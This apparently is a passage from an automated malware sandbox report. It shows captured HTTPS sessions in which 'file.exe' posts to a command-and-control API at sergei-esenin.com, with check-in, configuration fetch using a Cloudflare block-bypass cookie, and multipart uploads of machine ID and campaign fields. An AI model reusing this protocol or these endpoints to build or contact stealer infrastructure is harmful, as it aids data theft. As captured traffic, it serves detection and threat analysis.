href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	172.67.206.204	443	2224	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:51:08 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-23 15:51:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-23 15:51:08 UTC	554	IN	HTTP/1.1 403 Forbidden Date: Wed, 23 Oct 2024 15:51:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4wtM56eXhMnYrQd7s5tljjhyYDp59tlPY85378oXOnHnArHng0NRJiloGTAmd1Vug9g2vU9SP9bad1zMCYK4iBRPWD32hWnuT5htBlm6QdF6AHsxXMEflkSV8uEKSlh1ekTSSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e304da976994-DFW
2024-10-23 15:51:08 UTC	815	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-23 15:51:08 UTC	1369	IN	Data Raw: 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 Data Ascii: es/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('c
2024-10-23 15:51:08 UTC	1369	IN	Data Raw: 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e Data Ascii: gement/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <in
2024-10-23 15:51:08 UTC	891	IN	Data Raw: 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d Data Ascii: > <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id=
2024-10-23 15:51:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49713	172.67.206.204	443	2224	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:51:09 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=6oXn3WLz68ZdjjsWVyLMCV.kXZLfZ8KCtLvhQw4aUwk-1729698668-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-23 15:51:09 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-23 15:51:09 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g9q3slgknfqqfde7aauob90bcm; expires=Sun, 16 Feb 2025 09:37:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hIzmQltocevGW8r4%2BJNaxVFSJGCK%2F8wp1CDCDFjmtmwFERFiF7Pw5jSIrVJ9ULibM8VvsISs5eQon27BboYL71YQ84Fq36kyFYd0buZWGHw1ZgChDtrDUz1TjAq1YQipcWGVUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e309fe364772-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1084&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1042&delivery_rate=2669124&cwnd=239&unsent_bytes=0&cid=8d147aff411efa21&ts=513&x=0"
2024-10-23 15:51:09 UTC	355	IN	Data Raw: 31 64 63 34 0d 0a 75 68 68 4f 4e 6c 64 6b 53 47 70 6e 2f 32 42 75 63 79 64 6e 54 55 61 4e 56 58 36 71 4d 64 6e 38 4e 32 69 58 73 57 59 2b 41 47 4c 42 4f 6a 67 55 62 56 42 6b 53 42 53 61 51 6c 51 48 56 52 49 6f 61 71 38 30 47 6f 67 4c 76 35 31 62 47 2f 4b 64 52 45 68 74 51 49 42 2b 4c 31 6f 6b 41 57 52 49 41 6f 64 43 56 43 68 63 52 53 67 6f 72 32 39 63 7a 31 75 37 6e 56 73 4b 39 74 6f 4a 54 6d 77 42 30 6e 51 70 58 6a 49 48 4c 41 73 4c 6b 67 55 4c 46 6b 59 4e 49 79 2f 67 50 52 4f 49 48 66 75 5a 54 55 71 74 6b 79 74 62 64 41 50 33 65 54 31 64 64 52 6c 6b 45 55 57 61 44 6b 78 4a 42 51 59 6f 4a 4f 45 7a 47 73 46 5a 73 5a 52 54 43 2f 50 62 46 6c 64 6d 43 74 4a 36 4b 6c 38 34 44 6a 67 47 41 5a 55 4f 44 52 78 47 52 57 46 6b 36 43 39 63 6b 42 50 6f 72 46 59 62 35 Data Ascii: 1dc4uhhONldkSGpn/2BucydnTUaNVX6qMdn8N2iXsWY+AGLBOjgUbVBkSBSaQlQHVRIoaq80GogLv51bG/KdREhtQIB+L1okAWRIAodCVChcRSgor29cz1u7nVsK9toJTmwB0nQpXjIHLAsLkgULFkYNIy/gPROIHfuZTUqtkytbdAP3eT1ddRlkEUWaDkxJBQYoJOEzGsFZsZRTC/PbFldmCtJ6Kl84DjgGAZUODRxGRWFk6C9ckBPorFYb5
2024-10-23 15:51:09 UTC	1369	IN	Data Raw: 79 6f 61 44 5a 59 4a 43 51 4e 4f 44 43 49 70 37 7a 6f 57 78 31 43 37 6d 56 38 41 2b 74 6b 41 55 57 38 47 32 48 70 73 47 6e 55 42 4d 6b 68 64 33 53 45 4a 41 55 49 4a 4f 57 62 56 64 77 4f 47 53 76 75 5a 57 55 71 74 6b 77 78 5a 59 51 50 54 64 53 39 63 50 68 51 71 47 67 4f 51 42 78 34 58 51 41 73 6c 4a 2f 30 39 45 73 35 51 73 70 56 63 44 2f 4c 58 52 42 49 69 42 38 41 36 64 42 51 55 43 79 45 45 44 34 6f 43 54 41 34 4c 48 47 38 6a 34 33 64 45 69 46 65 36 6d 6c 51 4f 2b 39 30 41 55 47 51 4f 31 58 55 71 58 6a 55 42 49 41 41 4e 6e 41 38 48 48 6b 55 41 49 69 44 70 4f 78 33 4e 45 2f 58 65 55 68 4b 31 69 30 52 79 5a 51 50 4b 4f 42 6c 58 4f 77 67 74 48 6b 57 43 54 42 56 52 51 67 6c 76 66 4b 38 35 47 63 64 42 75 6f 78 51 42 4f 66 66 41 56 70 76 41 39 5a 36 4b 56 4d 34 Data Ascii: yoaDZYJCQNODCIp7zoWx1C7mV8A+tkAUW8G2HpsGnUBMkhd3SEJAUIJOWbVdwOGSvuZWUqtkwxZYQPTdS9cPhQqGgOQBx4XQAslJ/09Es5QspVcD/LXRBIiB8A6dBQUCyEED4oCTA4LHG8j43dEiFe6mlQO+90AUGQO1XUqXjUBIAANnA8HHkUAIiDpOx3NE/XeUhK1i0RyZQPKOBlXOwgtHkWCTBVRQglvfK85GcdBuoxQBOffAVpvA9Z6KVM4
2024-10-23 15:51:09 UTC	1369	IN	Data Raw: 57 43 54 42 56 52 51 67 6c 76 66 4b 38 37 46 63 68 59 73 5a 70 56 44 66 6a 57 42 31 74 68 44 64 39 77 49 6c 4d 78 43 69 4d 46 41 35 30 46 43 42 52 58 41 43 59 6f 34 33 64 53 69 46 53 6a 33 67 31 4b 32 74 51 53 58 30 30 44 79 58 4e 73 53 33 73 66 61 67 38 4a 33 56 70 4d 46 6b 41 4e 4a 43 4c 6e 4e 77 37 4e 58 62 43 66 58 77 7a 30 33 67 68 61 59 67 48 59 66 43 42 55 4d 67 45 34 47 67 43 62 45 41 5a 52 43 30 55 6f 50 4b 39 76 58 50 35 44 72 49 39 44 53 4d 44 51 43 6c 4a 6c 46 70 68 6c 59 6b 31 31 41 53 5a 49 58 64 30 4a 44 42 31 43 44 53 6b 67 35 7a 67 54 77 55 47 36 6b 6c 73 59 38 74 4d 4e 55 6d 30 4d 30 58 63 72 57 54 34 4d 4a 77 77 43 6e 45 4a 43 55 55 49 64 62 33 79 76 41 51 7a 46 58 35 57 56 57 51 4f 31 7a 45 70 46 49 67 66 55 4f 6e 51 55 4d 51 6f 69 41 Data Ascii: WCTBVRQglvfK87FchYsZpVDfjWB1thDd9wIlMxCiMFA50FCBRXACYo43dSiFSj3g1K2tQSX00DyXNsS3sfag8J3VpMFkANJCLnNw7NXbCfXwz03ghaYgHYfCBUMgE4GgCbEAZRC0UoPK9vXP5DrI9DSMDQClJlFphlYk11ASZIXd0JDB1CDSkg5zgTwUG6klsY8tMNUm0M0XcrWT4MJwwCnEJCUUIdb3yvAQzFX5WVWQO1zEpFIgfUOnQUMQoiA
2024-10-23 15:51:09 UTC	1369	IN	Data Raw: 4a 46 55 49 42 4b 53 75 76 65 56 7a 50 53 2f 76 47 46 53 58 53 35 6b 5a 39 57 45 44 48 4e 44 55 55 4d 67 70 71 55 45 57 52 41 51 41 5a 53 67 4d 6d 4b 4f 55 2b 46 38 52 59 76 35 4a 63 44 2f 50 53 41 56 6c 6a 42 4e 52 77 4b 6c 63 32 43 53 55 48 44 64 31 4d 54 42 5a 64 52 58 64 6b 79 69 41 58 78 6c 58 37 67 52 73 54 74 64 51 49 48 44 70 41 31 48 4d 71 55 6a 41 4b 4b 77 34 4e 6d 41 6f 49 45 45 4d 44 4c 43 76 72 4d 68 33 48 56 37 65 51 58 77 76 30 33 77 39 54 61 51 57 59 4e 47 78 54 4c 55 5a 79 53 44 53 65 46 42 73 42 53 55 55 77 61 76 5a 33 47 38 51 54 34 39 35 55 47 50 2f 5a 43 6c 6c 74 42 64 74 31 4b 31 6b 7a 43 69 41 42 44 5a 73 4e 42 51 4e 47 43 53 45 6a 34 54 73 53 78 56 6d 34 6b 78 56 45 74 64 51 63 48 44 70 41 39 48 30 68 65 6a 34 4b 4c 55 67 61 30 78 Data Ascii: JFUIBKSuveVzPS/vGFSXS5kZ9WEDHNDUUMgpqUEWRAQAZSgMmKOU+F8RYv5JcD/PSAVljBNRwKlc2CSUHDd1MTBZdRXdkyiAXxlX7gRsTtdQIHDpA1HMqUjAKKw4NmAoIEEMDLCvrMh3HV7eQXwv03w9TaQWYNGxTLUZySDSeFBsBSUUwavZ3G8QT495UGP/ZClltBdt1K1kzCiABDZsNBQNGCSEj4TsSxVm4kxVEtdQcHDpA9H0hej4KLUga0x
2024-10-23 15:51:09 UTC	1369	IN	Data Raw: 41 6a 64 6b 74 33 63 71 7a 30 4f 72 6e 52 63 37 34 39 41 53 56 32 38 4d 6d 47 56 69 54 58 55 42 4a 6b 68 64 33 51 51 44 47 45 59 4b 4c 69 33 6a 4f 68 6e 42 56 72 71 59 55 51 44 2f 30 77 4a 61 59 77 58 53 65 53 31 65 50 41 45 69 44 77 61 50 51 6b 4a 52 51 68 31 76 66 4b 38 65 47 39 70 64 71 39 35 4b 52 4f 79 54 41 31 41 69 57 4a 68 2b 4a 6c 73 78 41 53 59 4f 41 4a 73 50 44 52 35 45 42 53 41 67 35 44 34 61 79 56 36 2b 6b 31 45 59 2f 39 67 4c 55 47 73 4d 31 54 70 69 46 44 49 65 61 6c 42 46 72 41 38 43 48 30 49 54 62 7a 75 68 4c 6c 7a 50 58 2f 76 47 46 51 76 35 33 41 64 54 59 51 50 5a 63 44 35 47 4f 51 38 69 44 51 6d 57 44 41 6f 44 51 77 6f 6d 4a 2b 77 2b 47 38 42 66 73 5a 31 53 53 72 75 54 41 30 51 69 57 4a 68 5a 4f 30 51 34 52 6a 56 47 48 4e 30 46 41 46 45 Data Ascii: Ajdkt3cqz0OrnRc749ASV28MmGViTXUBJkhd3QQDGEYKLi3jOhnBVrqYUQD/0wJaYwXSeS1ePAEiDwaPQkJRQh1vfK8eG9pdq95KROyTA1AiWJh+JlsxASYOAJsPDR5EBSAg5D4ayV6+k1EY/9gLUGsM1TpiFDIealBFrA8CH0ITbzuhLlzPX/vGFQv53AdTYQPZcD5GOQ8iDQmWDAoDQwomJ+w+G8BfsZ1SSruTA0QiWJhZO0Q4RjVGHN0FAFE
2024-10-23 15:51:09 UTC	1369	IN	Data Raw: 75 6f 78 45 38 64 61 73 70 70 64 43 66 58 58 41 46 74 6e 41 39 52 78 4b 31 63 36 41 69 4d 47 44 4a 4a 43 51 6c 46 43 48 57 39 38 72 78 59 48 79 31 2b 32 33 6b 70 45 37 4a 4d 44 55 43 4a 59 6d 48 59 69 55 54 55 4d 4c 41 77 41 6d 77 67 4a 45 55 34 47 49 43 44 70 4d 78 50 49 57 4c 4b 66 55 77 2f 2f 32 41 4a 52 59 51 62 65 4f 6d 49 55 4d 68 35 71 55 45 57 39 47 51 45 64 51 6b 55 77 61 76 5a 33 47 38 51 54 34 39 35 65 42 76 48 55 42 46 46 68 43 4e 31 2b 4a 6c 45 31 44 6a 67 41 42 5a 6f 51 48 68 46 4d 41 43 4d 6e 37 7a 4d 61 77 56 57 34 6d 68 56 45 74 64 51 63 48 44 70 41 39 58 59 72 66 54 49 64 61 68 64 4c 68 45 49 4c 48 51 56 64 62 79 58 6b 50 52 50 46 55 4c 32 64 58 67 2f 2f 30 67 4e 55 62 78 4c 62 64 53 4e 51 4e 51 6b 73 44 67 53 53 42 41 73 59 52 41 30 6f Data Ascii: uoxE8dasppdCfXXAFtnA9RxK1c6AiMGDJJCQlFCHW98rxYHy1+23kpE7JMDUCJYmHYiUTUMLAwAmwgJEU4GICDpMxPIWLKfUw//2AJRYQbeOmIUMh5qUEW9GQEdQkUwavZ3G8QT495eBvHUBFFhCN1+JlE1DjgABZoQHhFMACMn7zMawVW4mhVEtdQcHDpA9XYrfTIdahdLhEILHQVdbyXkPRPFUL2dXg//0gNUbxLbdSNQNQksDgSSBAsYRA0o
2024-10-23 15:51:09 UTC	428	IN	Data Raw: 4c 76 52 62 47 5a 52 51 33 69 33 45 51 53 49 67 2b 59 49 68 55 55 50 41 45 78 47 52 4f 51 45 67 74 52 65 6b 74 76 50 4b 39 76 58 50 31 51 74 5a 42 53 48 4f 53 65 49 30 70 6f 42 38 68 39 4f 31 74 31 53 47 6f 4f 52 63 56 52 51 6c 46 42 46 47 39 38 76 32 56 48 6e 51 44 73 7a 67 63 56 75 38 70 45 53 69 4a 59 69 6a 52 73 52 6e 56 65 61 6b 38 47 6a 78 41 4b 45 6c 4d 47 61 42 72 52 45 41 62 46 56 61 79 50 61 7a 54 79 79 51 6c 61 64 52 47 55 62 79 39 61 4f 77 45 38 53 45 76 64 44 55 78 4a 66 45 56 6e 5a 4e 42 35 58 4e 41 54 34 39 35 67 43 66 76 64 41 30 70 7a 54 66 39 67 49 56 49 69 46 32 70 47 52 5a 74 43 56 45 45 4c 52 53 73 31 72 32 39 4d 6d 67 6a 75 7a 51 4a 61 70 38 78 4b 52 53 49 57 6d 43 4a 2b 47 6e 55 55 61 6c 42 46 32 67 45 65 41 30 4d 47 4f 53 65 6f 43 Data Ascii: LvRbGZRQ3i3EQSIg+YIhUUPAExGROQEgtRektvPK9vXP1QtZBSHOSeI0poB8h9O1t1SGoORcVRQlFBFG98v2VHnQDszgcVu8pESiJYijRsRnVeak8GjxAKElMGaBrREAbFVayPazTyyQladRGUby9aOwE8SEvdDUxJfEVnZNB5XNAT495gCfvdA0pzTf9gIVIiF2pGRZtCVEELRSs1r29MmgjuzQJap8xKRSIWmCJ+GnUUalBF2gEeA0MGOSeoC
2024-10-23 15:51:09 UTC	1369	IN	Data Raw: 32 32 39 66 0d 0a 58 4a 42 71 2b 39 59 56 4e 62 75 54 48 42 77 36 51 4f 31 35 49 6c 6f 79 45 44 74 46 4a 6f 73 50 41 78 70 45 52 57 46 6b 36 58 64 45 6d 42 33 37 6d 6b 52 4b 72 59 4e 57 42 7a 64 54 6a 79 70 2b 53 33 73 66 61 68 35 46 78 56 42 43 55 56 64 46 64 32 53 6f 4f 52 48 4a 55 4c 57 64 52 78 6a 7a 30 42 4a 66 4a 54 37 6d 57 79 46 66 4f 51 73 6c 41 7a 75 6a 49 77 45 61 53 51 67 67 4c 39 45 4a 43 63 74 64 74 5a 6c 44 47 37 57 64 52 46 4d 69 57 4f 45 36 5a 42 51 4b 53 47 6f 51 52 63 56 43 4f 52 4a 4c 43 79 67 79 2f 6e 6f 39 78 56 69 33 6b 31 6f 42 74 5a 31 45 57 69 4a 59 69 44 52 73 55 43 52 47 63 6c 68 58 78 6c 64 66 52 68 56 58 4d 47 72 32 64 77 71 49 43 2b 6e 51 46 52 69 31 69 30 51 62 59 52 4c 4b 66 43 39 43 4e 6b 45 55 4e 69 61 4b 46 41 59 4b 42 Data Ascii: 229fXJBq+9YVNbuTHBw6QO15IloyEDtFJosPAxpERWFk6XdEmB37mkRKrYNWBzdTjyp+S3sfah5FxVBCUVdFd2SoORHJULWdRxjz0BJfJT7mWyFfOQslAzujIwEaSQggL9EJCctdtZlDG7WdRFMiWOE6ZBQKSGoQRcVCORJLCygy/no9xVi3k1oBtZ1EWiJYiDRsUCRGclhXxldfRhVXMGr2dwqIC+nQFRi1i0QbYRLKfC9CNkEUNiaKFAYKB
2024-10-23 15:51:09 UTC	1369	IN	Data Raw: 73 4a 78 72 4c 45 2f 58 65 55 30 71 74 67 30 6f 63 5a 68 47 59 49 6e 77 47 62 6c 4e 35 58 31 58 50 48 55 49 49 42 52 4e 76 66 4c 31 35 58 4e 6f 54 34 39 34 53 43 65 66 42 41 6c 39 30 41 35 39 45 45 6e 49 32 46 79 41 70 43 49 30 46 4d 69 39 51 42 69 45 71 36 43 45 4e 69 42 33 37 6b 52 56 53 7a 4a 4e 4d 45 47 51 44 7a 6a 6f 54 47 6e 55 65 61 6c 42 46 71 41 45 43 48 30 49 54 50 6d 6e 4a 4e 41 33 43 63 72 61 4f 55 6b 71 37 6b 77 49 63 4f 6c 4f 57 4f 69 68 46 64 56 35 36 57 6c 37 49 55 56 74 42 46 78 70 68 50 61 38 68 58 4a 41 42 39 64 35 48 53 71 32 54 51 31 39 77 45 74 35 35 4f 6c 64 79 4f 42 51 39 42 70 4d 4d 43 77 64 77 42 6a 34 6e 37 7a 77 69 39 6e 4b 31 6c 56 49 47 34 2b 30 36 61 57 45 4f 31 6e 30 36 52 58 56 49 61 67 64 46 78 54 74 4d 57 51 55 36 59 57 Data Ascii: sJxrLE/XeU0qtg0ocZhGYInwGblN5X1XPHUIIBRNvfL15XNoT494SCefBAl90A59EEnI2FyApCI0FMi9QBiEq6CENiB37kRVSzJNMEGQDzjoTGnUealBFqAECH0ITPmnJNA3CcraOUkq7kwIcOlOWOihFdV56Wl7IUVtBFxphPa8hXJAB9d5HSq2TQ19wEt55OldyOBQ9BpMMCwdwBj4n7zwi9nK1lVIG4+06aWEO1n06RXVIagdFxTtMWQU6YW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49714	172.67.206.204	443	2224	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:51:10 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=6oXn3WLz68ZdjjsWVyLMCV.kXZLfZ8KCtLvhQw4aUwk-1729698668-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-23 15:51:10 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4296112B956885A1B153E678F6E4E86B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 15:51:10 UTC	1022	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bh04cddkcqgvhfg6sn4qfk7ngf; expires=Sun, 16 Feb 2025 09:37:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AeVw3HgUBiMxmp%2BkF7eeP8uNooJEe9qe%2BEbFE4Zx%2FZScCkgBck7B0SaO%2BaKArX5zeqUqtyd9t9bsjFbFqZTS8N4CAMXcA6mbLH5uwY8zQdQshie1Pa%2BBR4LV9cNMEpKFSK01pw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e312ef402e2a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1077&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13894&delivery_rate=2716697&cwnd=234&unsent_bytes=0&cid=134f53f7cc6902a1&ts=406&x=0"
2024-10-23 15:51:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 15:51:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49716	172.67.206.204	443	2224	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:51:11 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=6oXn3WLz68ZdjjsWVyLMCV.kXZLfZ8KCtLvhQw4aUwk-1729698668-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
